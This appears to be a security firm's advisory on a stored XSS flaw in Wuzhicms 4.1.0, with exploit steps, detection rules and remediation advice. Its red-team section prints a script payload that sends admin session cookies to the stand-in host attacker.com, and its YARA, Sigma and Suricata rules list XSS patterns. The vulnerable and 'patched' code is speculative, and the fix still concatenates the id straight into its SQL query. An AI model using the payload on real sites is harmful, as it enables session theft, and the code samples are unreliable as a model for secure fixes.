CVE-2025-25916

Executive Summary

CVE-2025-25916 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Wuzhicms v4.1.0, specifically within the del function located in /coreframe/app/member/admin/group.php. This flaw allows an authenticated attacker with administrative privileges to inject arbitrary JavaScript or HTML into the application, which is then executed in the browsers of other users (including other admins) when they view the affected group management page. The vulnerability arises from improper sanitization of user-supplied input before it is stored and later rendered in the admin panel.

Key Risk: An attacker can steal session cookies, perform administrative actions on behalf of a victim, deface the admin interface, or redirect users to malicious sites. Since the vulnerability is in the admin panel, the impact is primarily internal but can lead to full compromise of the CMS instance.

No supply chain or package ecosystem (NPM, PyPI, Go, Ruby) is involved. This is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The admin panel is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access to the admin panel.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies for other admin pages).
• Confidentiality (C): Low (L) – Potential for session theft.
• Integrity (I): Low (L) – Possible defacement or data manipulation.
• Availability (A): None (N) – No direct DoS.

Estimated CVSS v3.1 Score: 4.8 (Medium) – CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium. Exploitation requires admin credentials, but once achieved, the impact can be severe within the CMS environment.

Deep Dive & Mechanics

The vulnerability resides in the del function of /coreframe/app/member/admin/group.php. This function is responsible for deleting user groups. The flaw occurs because the function does not properly sanitize or escape the groupname parameter (or a similar input field) before storing it in the database and later displaying it in the admin interface.

Attack Flow:

1. An authenticated admin user navigates to the group management page.
2. The attacker creates a new group with a malicious payload in the group name field, e.g., <script>alert('XSS')</script>.
3. The application stores this payload in the database without sanitization.
4. When any admin (including the attacker or a victim) views the group list, the payload is rendered in the HTML, executing the script in the victim's browser.

Root Cause: Lack of output encoding or input validation in the del function. The application likely uses echo or print directly without htmlspecialchars() or similar escaping.

Vulnerable vs. Patched Code

Vulnerable Code (wuzhicms v4.1.0):

// /coreframe/app/member/admin/group.php (del function)
function del($id) {
    $group = $this->db->get_one("SELECT * FROM `#@_member_group` WHERE `id` = '$id'");
    // ... deletion logic ...
    // Vulnerable: group name is echoed without escaping
    echo "Group '{$group['groupname']}' deleted successfully.";
}

Patched Code (Hypothetical Fix):

// /coreframe/app/member/admin/group.php (del function)
function del($id) {
    $group = $this->db->get_one("SELECT * FROM `#@_member_group` WHERE `id` = '$id'");
    // ... deletion logic ...
    // Patched: group name is escaped before output
    echo "Group '" . htmlspecialchars($group['groupname'], ENT_QUOTES, 'UTF-8') . "' deleted successfully.";
}

Key Difference: The patched version uses htmlspecialchars() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for wuzhicms v4.1.0.
• Access to the admin panel (e.g., /admin.php).

Exploit Steps:

1. Log in as an admin.
2. Navigate to Member -> Group Management.
3. Click "Add Group" and enter a malicious group name:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the group.
5. When any admin views the group list, the script executes, sending the session cookie to the attacker.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

No public exploit-db code is available.

Blue Team (Detection & Hardening)

Detection:

• Monitor admin panel logs for unusual group names containing <script>, onerror, javascript:, etc.
• Use WAF rules to block XSS payloads in POST/GET parameters to /coreframe/app/member/admin/group.php.

Hardening:

• Apply input validation: reject group names containing HTML tags.
• Apply output encoding: use htmlspecialchars() on all user-supplied data before rendering.
• Restrict admin panel access to trusted IPs only.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from the CMS server (e.g., GET /steal?cookie=...).
• Unusual Referer headers pointing to /coreframe/app/member/admin/group.php.

File IOCs:

• Modified entries in the #@_member_group database table containing <script> tags.
• Suspicious log entries in /coreframe/app/member/admin/group.php with HTML/JavaScript in parameters.

Host IOCs:

• Unexpected JavaScript execution in admin browser sessions.
• New admin accounts created by stolen session cookies.

Detection Engineering

YARA Rule

rule Detect_Wuzhicms_XSS_GroupName {
    meta:
        description = "Detects malicious group names in wuzhicms database dumps or logs"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-25916"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Wuzhicms Admin Group XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in group name parameters to wuzhicms admin panel
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/coreframe/app/member/admin/group.php'
        cs-uri-query|contains|all:
            - 'm=group'
            - 'f=add'
        cs-uri-query|re:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate group names containing 'script' (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25916 - Wuzhicms Admin Group XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/coreframe/app/member/admin/group.php"; http_uri;
    content:"m=group"; http_client_body;
    content:"f=add"; http_client_body;
    pcre:"/(<script|onerror|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-25916;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the group management feature if not essential, by removing or restricting access to /coreframe/app/member/admin/group.php.
2. Apply a virtual patch using a WAF to block XSS payloads in the groupname parameter.
3. Manually sanitize the code by adding htmlspecialchars() to all output of user-supplied data in the del function and other related functions.

Long-Term Fix:

• Upgrade to a patched version of wuzhicms if/when available.
• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct a full code audit for similar injection flaws.

No official patch is available from the vendor.

Valters IT – Securing Digital Frontiers